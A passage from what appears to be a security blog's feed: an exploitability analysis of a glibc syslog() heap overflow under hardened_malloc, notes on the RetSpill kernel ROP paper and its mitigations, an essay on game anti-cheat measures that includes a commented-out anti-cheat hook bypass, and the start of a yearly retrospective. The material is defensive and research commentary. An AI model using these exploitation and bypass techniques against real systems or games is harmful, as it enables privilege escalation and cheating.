class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span> +<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span> +<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags …</span></code></pre></div><p>Qualys' <s>security team</s> Threat Research Unit <a href="https://seclists.org/oss-sec/2024/q1/68">published</a> +a couple of hours ago a linear two-step heap buffer overflow in glibc's +<code>syslog()</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="mi">206</span><span class="w"> </span><span class="n">buf</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="w"> </span><span class="p">((</span><span class="n">bufsize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">sizeof</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">213</span><span class="w"> </span><span class="n">__snprintf</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span> +<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span> +<span class="p">...</span> +<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span> +<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags</span><span class="p">);</span> +</code></pre></div> + +<p>the tl;dr is that <code>bufsize</code> is <code>0</code> while <code>l</code> is user-controlled. +As mentioned in the advisory, messing with nss structures as done +in their (phenomenal) <a href="https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt"><code>Baron Samedit</code> sudo +exploit</a> +is a good way to get a root shell on the glibc.</p> +<p>While the bug is in glibc's <code>syslog</code>, it's not unheard of for +people to run custom allocators for performance/security/speed/… reasons. +One of those could be, for example, <a href="https://github.com/GrapheneOS/hardened_malloc">hardened_malloc</a>, +<a href="https://grapheneos.org">GrapheneOS</a>'s security-focused allocator, raising +the question "would <code>hardened_malloc</code> make this particular bug +unexploitable on my x86_64 Debian machine?"</p> +<p>After discussing this with friends, we don't <em>think</em> that it makes +the bug completely unexploitable, but ridiculously complicated, which is good +enough™ for me. But keep in mind that this "analysis" was done hastily at 2am, +so caveat lector.</p> +<p><code>hardened_malloc</code> uses size-based slabs isolation, popularised by +<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>. +Since <code>bufsize</code> is zero, this is a 1-byte +allocation, falling into the +<a href="https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147">16 bytes size-class</a>, +the smallest after the special <code>0</code> one. So to exploit this, one would have to find an +interesting object of size 16 bytes or lower to overwrite. But since +canaries are enabled by default, this becomes even more difficult: sizes of +allocations are actually bumped by 8 bytes, meaning that one would actually +have to find an interesting object of size 8 bytes or lower.</p> +<p>Moreover, 16-byte slabs can contain at most 256 allocations, and are +surrounded by guard pages, meaning that accessing anything below <code>buf</code> and +above <code>buf+(256*16)</code> will result in a crash.</p> +<p>Allocations are randomized, which might help for bruteforcing the heap layout: +if the current one isn't exploitable, just crash and start again. But it will +also result in a lot more crashes, since <code>buf</code> might be allocated closer to +the guard page.</p> +<p>There are of course other mitigations, but they aren't relevant in this +particular case, like canaries that are checked on <code>free</code>, +or <a href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte">ARM's MTE</a> that completely kills linear-overflows.</p> +<p>Given the ludicrous amount of randomization <code>hardened_malloc</code> applies to heap bases (32G +per region), bruteforcing offsets of anything not on the heap is futile. +So one would have to find something interesting in an object of 8 bytes or less on +the heap, like a path to corrupt as in <code>service_user</code>, +or some partial-overwrite of a function-pointer to call a +<a href="https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html">one-shot-gadget</a>, …</p> +<p>Thanks to <code>strcat</code> for the handholding, and +to <code>jdoe</code>, <code>drvink</code> and <code>J</code> for their diligent proofreading,</p>Paper notes: RetSpill2024-01-18T16:45:00+01:002024-01-18T16:45:00+01:00jvoisintag:dustri.org,2024-01-18:/b/paper-notes-retspill.html<ul> +<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li> +<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> — + <a href="https://kylebot.net/papers/retspill.pdf">mirror</a> — + <a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li> +<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>, + <a href="https://ruoyuwang.me/">Ruoyu Wang</a>, + <a href="https://yancomm.net/">Yan Shoshitaishvili</a>, + and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>, + along with <a href="https://zplin.me/">Zhenpeng Lin</a>, + <a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>, + <a href="http://xinyuxing.org/">Xinyu Xing</a> and + <a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li> +</ul> +<p>The idea of the paper is to use user-controlled …</p><ul> +<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li> +<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> — + <a href="https://kylebot.net/papers/retspill.pdf">mirror</a> — + <a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li> +<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>, + <a href="https://ruoyuwang.me/">Ruoyu Wang</a>, + <a href="https://yancomm.net/">Yan Shoshitaishvili</a>, + and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>, + along with <a href="https://zplin.me/">Zhenpeng Lin</a>, + <a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>, + <a href="http://xinyuxing.org/">Xinyu Xing</a> and + <a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li> +</ul> +<p>The idea of the paper is to use user-controlled data that are by design copied +in kernel-land when exercising syscalls to store a <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a>-chain, via 4 main venues:</p> +<ul> +<li>Valid Data directly copied onto the kernel stack for performance reasons, like when + calling <code>poll</code>;</li> +<li>Preserved Registers, restored upon returning from kernel-land to + userland. </li> +<li>Calling Convention compliant functions will save/restore registers, and + apparently, system call handlers are calling convention compliant + even though the kernel is already taking care of those, + and syscalls can <a href="https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel">only be called from userland</a>. + But even if the syscalls handles weren't compliant, registers still contain + userland values when they're called, and sub-functions might store/restore + those registers, since those do need to be compliant.</li> +<li>Uninitialized Memory, since the per-thread kernel stack is reused between syscalls, + and not erased (unless <code>PAX_MEMORY_STACKLEAK</code> is used).</li> +</ul> +<p>Then, only a <a href="https://en.wikipedia.org/wiki/KASLR">KASLR</a> leak, +a CFHP (control-flow hijacking primitive) +and a <code>add rsp, X; ret</code>-like gadget are required to <a href="https://www.youtube.com/watch?v=FoUWHfh733Y">ROP all the things</a>. +Nowadays, most™ CFHP are created by corrupting the heap to hijack function +pointers, and since every kernel thread shares the same heap, +once it is is properly shaped, the control flow hijacking primitive can likely +be triggered again and again from a different threads. +Moreover, changing the exploit is simply a matter of re-invoking a syscall with +different data spill, instead of having to reshape the heap every single time. +One doesn't have to worry about crashes (enabling lame bruteforcing), since no +major Linux distributions (except CentOS, kudos) has <code>panic_on_oops</code> enabled, +so having a ROP-chain crash is no big deal, because the CFHP is still on the +heap, one syscall away.</p> +<p>Since the space afforded to store gadgets might be too small, one trick is to +invoke <code>do_task_dead</code> at the end of every ROP-chain to terminate it gracefully, +and trigger the CFHP again and again.</p> +<p>Mitigation-wise: </p> +<ul> +<li><a href="https://en.wikipedia.org/wiki/Control_register#SMEP">SMEP</a>, + <a href="https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention">SMAP</a> and + <a href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation">KPTI</a> are irrelevant.</li> +<li><a href="https://pax.grsecurity.net/docs/randkstack.txt">RANDKSTACK</a> mitigates data spillage from Preserved Registers and Uninitialized Memory, + but since it only provides 5 bits of randomness, a <code>ret</code>-sled is enough + to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise), + and in the absence of <code>panic_on_oops</code> it can quickly be bruteforced anyway.</li> +<li><a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack">STACKLEAK</a>, + <a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland">STRUCTLEAK</a>, + and <a href="https://lwn.net/Articles/823152/">CONFIG_INIT_STACK_*</a> + only mitigate data spillage from Uninitialized Memory.</li> +<li><a href="https://lwn.net/Articles/824307/">FG-KASLR</a> is <a href="https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets">useless</a> + since it doesn't randomize everything, leaving a couple (<code>42631</code> according to + the paper) of gadgets at position-invariant positions, which are enough to perform + arbitrary-reads and derandomize everything.</li> +<li><a href="https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u">KCFI</a> + and <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">IBT</a> + also (currently) don't cover everything, but don't really matter much here + anyway, since we only care about backward-edges, and as for the CFHP:</li> +<li>There <a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35">are ways</a> + to obtain one in the presence of perfect forward-edge CFI with a heap corruption.</li> +<li>Using <code>__x86_indirect_thunk_rdi</code> allows to transform a forward-edge control-flow transition to backward edge one.</li> +<li>Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill, + but <a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf">PaX' RAP</a> + is really close to it, likely making it insanely hard, with its type-based + CFI, and its changing-on-every-syscall/task/… register-stored cookie paired + with unreadable kernel stacks for backward edge, on top of CFI.</li> +</ul> +<p>To showcase how cool all of this is, the paper comes with a semi-automated tool +outputting the address of a stack-shifting gadget, a function to performs data +spillage, invoke the triggering system call, and yield a root shell via a +classic <code>commit_creds(init_cred)</code> + returning back to user space. It works by:</p> +<ul> +<li>taking full snapshots of a vm to locate the syscall leading to CFHP by using + a binary-search-like heuristic;</li> +<li>mutating userland inputs (registers, <code>copy\_from\_user</code>/<code>get\_user</code> + parameters, …), continuing the execution of the vm, + marking the as user-controllable data if the CFHP still + happens after modifications, and doing taint analysis to find how to modify + them.</li> +<li>generating a ROP-chain, which isn't that easy, given that:</li> +<li>it's done over discrete controlled regions</li> +<li>there are some constraints, like "<code>eax</code> contains the syscall number", + or "<code>edx</code> comes from both <em>Saved Registers</em> and <em>Calling Convention</em> + spillages.</li> +</ul> +<p>Of course, given that some authors are <a href="https://angr.io/">angr</a> developers, +<a href="https://github.com/angr/angrop">angrop</a> was used to knit the ROP-chains, and +the results are pretty impressive:</p> +<blockquote> +<p>The abundance of data spillage allows 20 out of 22 proof-of-concept programs +that manifest CFHP to be semi-automatically turned into full privilege escalation exploits.</p> +</blockquote> +<p>To kill this technique, the authors suggest:</p> +<ol> +<li><em>Preserved Register</em>: <code>RANDKSTACK</code> helps, but storing userspace registers + somewhere else than on the stack would be even better, eg. in <code>task_struct</code>.</li> +<li><em>Uninitialized Memory</em>: enable <code>STACKLEAK</code>/<code>STRUCTLEAK</code>/<code>CONFIG\_INIT\_STACK\_\*</code>, + but the performances impact is pretty steep.</li> +<li><em>Calling Convention</em> and <em>Valid Data</em>: an improved version of <code>RANDKSTACK</code>, + adding a random offset at the bottom of each stack frame, between <code>rsp</code> and user data. + This technique also mitigates Preserved Registers and Uninitialized Memory, + with an average performance overhead of 0.61%.</li> +</ol> +<p>Like all good papers it comes <a href="https://github.com/sefcom/RetSpill">with code</a>.</p> +<p>Amusingly:</p> +<ul> +<li>RetSpill completely bypasses OpenBSD's + <a href="https://isopenbsdsecu.re/mitigations/map_stack/">MAP_STACK</a> mitigation, + should it ever be implemented in kernel-land, </li> +<li>The <a href="https://org.anize.rs/">Organizers</a> CTF team + <a href="https://org.anize.rs/0CTF-2021-finals/pwn/kernote">used</a> + the <a href="https://elixir.bootlin.com/linux/latest/ident/pt_regs"><code>ptregs</code></a> structure + to store their ROP chain for <a href="https://ctftime.org/event/1357">0CTF/TCTF 2021 + Finals</a>'s + <a href="https://ctftime.org/task/17461">Kernote</a> pwn challenge.</li> +</ul>On non-technical video-games cheat mitigations2024-01-12T20:15:00+01:002024-01-12T20:15:00+01:00jvoisintag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.html<p>Cheats are as old as video games, and will be there as long. There +are a couple of high-profile players in the anti-cheat market today: +<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>, +<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>, +<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>, +<a href="https://easy.ac/en-us/">Epic's EAC</a>, +<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>, +<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>, +<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>, +… as well as in-house ones.</p> +<p>To try to keep up in the race …</p><p>Cheats are as old as video games, and will be there as long. There +are a couple of high-profile players in the anti-cheat market today: +<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>, +<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>, +<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>, +<a href="https://easy.ac/en-us/">Epic's EAC</a>, +<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>, +<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>, +<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>, +… as well as in-house ones.</p> +<p>To try to keep up in the race, both sides are resorting to more and more invasive +technical privacy-invasive measures: streaming virtualised shellcodes, +hardware fingerprinting and locking, +<a href="https://secret.club/2020/01/05/battleye-stack-walking.html">stack-walking</a>, +bootkit-like kernel drivers, +<a href="https://en.wikipedia.org/wiki/Trusted_Platform_Module">TPM</a>/ +secure boot/ +<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">HVCI</a>/ +<a href="https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit">IOMMU</a>/ +<a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a>/… +<a href="https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions">shenanigans</a>, +hypervisors <a href="https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html">detection</a>/usage, +<a href="https://secret.club/2020/03/31/battleye-developer-tracking.html">exfiltration of suspicious materials</a>, +external <a href="https://en.wikipedia.org/wiki/Direct_memory_access">DMA</a> hardware, +or other <a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">more exotic things</a>.</p> +<p>Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private +and closed-community cheats are still flourishing, since it's a losing game by +nature. And since games and anti-cheats are software, they're of course riddled +with <a href="https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit">hilarious</a> bugs leading to +<a href="https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html">stupid</a> +<a href="https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html">bypasses</a>.</p> +<p>But this isn't what this blogpost is about. Nowadays, cheats are considered as +part of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down +because they're morally questionable, but because they disturb the way the game is meant to be +enjoyed. Toxic and abusive behaviours lead to the very same results: +A game that isn't fun to play because of cheating/abuse/toxicity issues will see its +players number decrease, have poor reviews, … and won't make money. I'm sure +there is a parallel to be made about the current state of our society, but I +digress.</p> +<p>For this article, we'll consider cheating and abuse/toxicity +as a single issue under the term <em>abuse</em>. +Now, because abuse isn't a purely technical issue, but also a social one, it +can't be solved by technical solutions only, so let's have +a look at what non-technical mitigations game developers are +coming up with to curb this issue.</p> +<p>The most obvious mitigation is to make cheating expensive, money wise. +Having to pay 60EUR for a game is a steep investment, especially if one +has to buy it again every time they get banned. This of course doesn't +apply for free-to-play games, but can be emulated by having a cosmetics +ecosystem, either to pay for, or to grind. The other expensive thing when +playing video games is the hardware, and bans can be tied to it.</p> +<h2>Global measures</h2> +<p>The <em>big</em> mitigation at this level is reputation systems. They're based on +people who know best how a fun and fair game should go: players. After a +match, they're encouraged to cast votes on how fair it was, on a match level, +but also directly at players level: "Bob was really looking out for others", +"Bob was a team player", and so on. For negative behaviour, reports don't have +to wait the end of the match, players can report +cheating, being offensive in the text/voice chat, <a href="https://en.wikipedia.org/wiki/Griefer">griefing</a>, +queue dodging, <a href="https://www.urbandictionary.com/define.php?term=smurfing">smurfing</a>, … +Of course, slanderous reports are penalised.</p> +<p>Peer pressure is a good lever too, by taking action not only against cheaters, +but from people benefiting from the cheat, like regular teammates.</p> +<p><a href="https://en.wikipedia.org/wiki/Bug_bounty_program">Bug bounty programs</a> are now commonplace, +so it's only logical that there are now <a href="https://hackerone.com/riot">some</a> +rewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now, +but will likely rise up as the programs mature. The positive effects are +multiples:</p> +<ol> +<li>It increases the incentives to report issues to get them fixed: a player + finding a glitch/exploit can now get some cash for the discovery</li> +<li>As more abuse vectors are killed, the reward prices will rise, and it might + become more profitable to report bugs than to sell them to cheat providers. + This isn't unheard of, with <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's + kernelCTF</a> + paying two times more than Zerodium.</li> +<li>If the bug bounty program is correctly managed, the probability of getting a + given amount of money for reporting an issue will be higher than using it in + a cheat for an unknown period of time until it gets fixed.</li> +<li>It will likely increase the amount of people looking for issues and willing + to report them.</li> +</ol> +<p>Community managers can also regularly <s>spread <a href="https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt">FUD</a></s> +post updates about ban waves, anti-cheat measures, reports, … to make it +clear that abusive behaviours are something being taken care of, +and a dangerous gamble for players to take part in. I think +I have seen some people spending time proving that some cheaters streaming live +were in fact recycled pre-recorded footage from an earlier version of game, +because some of the game details have been updated in the meantime.</p> +<h2>Accounts-level measures</h2> +<p>Some game stores, like <a href="https://en.wikipedia.org/wiki/Steam_(service)">Steam</a>, +have an account-level "cheater" mark, meaning that if someone gets banned from a game for cheating, +other games can know about it. But more importantly, +<a href="https://en.wikipedia.org/wiki/Achievement_(video_games)">achievements</a> +and cosmetics are also tied to an account, and as mentioned previously, +those are non-zero time and/or money investments. Getting banned means losing +them. This of course only deters opportunistic cheaters, +as people can simply create other accounts to cheat, but this can be made +harder via purely technical means.</p> +<p>Most <em>competitive</em> online games have ranked and casual game modes, with the +former being only accessible after having spent a certain amount of time in the +latter one. Meaning that one has to do it again every time they get banned, +or <a href="https://en.wikipedia.org/wiki/Boosting_(video_games)">pay someone to do it</a>. +Some studios are even making player go through more hoops to be able to play, like requiring +<a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">MFA</a>, +or playing a couple of matches against <a href="https://en.wikipedia.org/wiki/Video_game_bot">bots</a> +branded as a tutorial, before being able to play with other people. There is a +course a fine balance to keep to annoy abusers but not legitimate players.</p> +<h2>Player-level measures</h2> +<p>The goal of non-technical measures isn't to make it impossible to be abusive, +but to make it not worth it. Moreover, issuing instahwpermabans to <a href="https://en.wikipedia.org/wiki/Edgelord">edgelords</a> +seems a tad heavy-handed, so having a large panel of measures against abuser makes sense: +one might want to allow people to rectify their behaviour, to isolate them to +cool down, and so on. It might include textual warnings, temporary bans, kick +from the current game, chat/voice mute, losing access to ranked play, +reducing the amount of earned experience points, …</p> +<p>Players are abusive for various reasons, but I'd argue that most do because +it's fun. Ruining the fun for them is thus a good way to curb such behaviours. +A simple way to do this is to make them play together, by grouping players +by reputation, or by having servers with technical anti-cheat measures +explicitly disabled. But there are even more creative measures, +like <a href="https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report">disabling their parachute</a>, +reducing their damage output to ridiculous levels, taking away their weapons, +<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">making other legitimate players invisible to them</a>, +randomly drop some of their inputs, +<a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">hallucinations</a>, … and +while this costs a bit more engineering time than simply grouping them +together, it has a couple of high-value returns on investment: +- allowing game developers to spend more time collecting data on how cheats are working on a technical level, +- reducing the impact cheaters have on a game make is possible to + significantly defer banning them without impacting other players too much, + making it harder for cheat makers to pinpoint how and why a cheat was + detected. +- it's absolutely hilarious</p> +<h2>Examples</h2> +<h3><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six Siege</a></h3> +<ul> +<li>It uses BattlEye, and in end-2022 early 2023 banned around + <a href="https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023">5000</a> + accounts per month, which is a lot, but also shows that it doesn't deter + cheaters.</li> +<li>The game costs <a href="https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/">$8</a>, + but if you want to have access to all the operators, it's $70. One can also + unlock operators by playing, which takes several hundreds of hours.</li> +<li>To play ranked, one need to reach <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating">level 50</a>, + which takes around 50h, give or takes.</li> +<li>The game has a rich ecosystem of cosmetics + than can be <a href="https://store.ubisoft.com/us/dlc-type-skins-cosmetics">purchased for steep prices</a>, + and painstakingly earned by playing, + that would be lost in cast of an account ban.</li> +<li>Friendly fire will result in the damages being applied to the shoot + should it be reported as voluntary by the player at the receiving end.</li> +<li>It's developing a pretty involved <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more">reputation system</a>, + where people with a "positive" behaviour gets rewarded (more experience + points, cosmetics, …), while those with a "negative" one + might be prevented from playing <em>ranked</em>, + get less experience points, + …</li> +</ul> +<h3><a href="https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)">Call of Duty: Modern Warfare II</a>:</h3> +<ul> +<li>The game costs <a href="https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/">$70</a>.</li> +<li><a href="https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards">"Players must be at least Level 16 to access Ranked Play"</a>, + but this can be done in a couple of hours.</li> +<li>Cheating results in account-wise permaban across all Call of Duty titles.</li> +<li>Banned accounts have their records purged from leaderboards.</li> +<li>Players engaging in "negative" behaviours might get + muted on chat/voice, … and interestingly, cheaters + are going to get paired with other cheaters in matchmaking. + <a href="https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy">Players who are often playing with the same cheaters</a> (boosting), + will also get their reputation tanked.</li> +</ul> +<h3><a href="https://playvalorant.com/">Valorant</a></h3> +<p>Its developer even published a +<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">great series of blopost</a> on +what it calls "game health"</p> +<ul> +<li>The game is free-to-play, but comes with <em>a lot</em> of <a href="https://valorantstrike.com/valorant-store/">cosmetics</a>.</li> +<li>Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.</li> +<li>Players joining games and <a href="https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/">idling to reap out experience points</a>, + doing nothing but kneecapping their team will <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/">get penalised</a>.</li> +<li>Players are encouraged to report toxic behaviours, and to not engage, + since engagement might be penalized as well</li> +<li>Players using, + <a href="https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names">certain words</a> + whether in chat or as username, + will be flagged as toxic.</li> +<li>Penalties come in various size, shapes and durations, allowing to fine tune + according to behaviour: warnings, voice/chat restrictions, + reduction in experience points + gain, reduction in raked rating, increased queue waiting time, ranking game + ban, global ban.</li> +<li>Valorant <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/">published</a> + their approach to mitigate smurfing; acknowledging that while having multiple accounts + to smurf/trade/evade bans/… is not desirable, some people are using + them to to play with friends with a better/worse ranked level. + So while they took measures to detect and mitigate having multi-accounts, + they also relaxed the maximum ranks difference for players to play together, + which significantly reduced the number of alt-accounts usage, + but also didn't alter match fairness in a measurable way.</li> +</ul> +<h2>Conclusion</h2> +<p>This is all nice and dandy, but is it working? According to +data from <a href="https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection">Rainbow Six Siege</a>: +<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">Valorant</a>, +<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">Call of Duty: Modern Warfare 2</a>, +… those measures are indeed working pretty well, +and are likely providing better results than technical-only +measures. They are also cheaper, since steering people away from toxic +behaviours doesn't reduce the number of players as much as banning them +outright. It's nice to see that the video game industry realised that cheating and +abuses/toxicity could be addressed in similar non-technical ways, and that both +approaches are complementary. This is a stark contrast to other ones, +where techno-solutionism is seen at the only possible remedy, even more so +in our machine-learning-all-the-things era. </p> +<h2>Sources and resources</h2> +<ul> +<li><a href="https://youtube.com/watch?v=hI7V60r7Jco">Anti-Cheat for Multiplayer Games</a></li> +<li><a href="https://secret.club/">Secret Club</a></li> +<li><a href="https://unknowncheats.me/">UnKnoWnCheaTs</a></li> +</ul> +<!-- + +Steam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned. + +Cheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region. + +Activision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you. + +Funny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats. + +-->2023 in retrospect2023-12-31T23:59:00+01:002023-12-31T23:59:00+01:00jvoisintag:dustri.org,2023-12-31:/b/2023-in-retrospect.html<p>In 2023, I did, amongst other things:</p> +<ul> +<li>Donated some money:<ul> +<li>$400 to <a href="https://fsfe.org/">FSFE</a></li> +<li>$5000 to <a href="https://noyb.eu">NOYB</a></li> +<li>$5000 to <a href="https://riseup.net">Riseup</a></li> +<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li> +<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li> +<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from 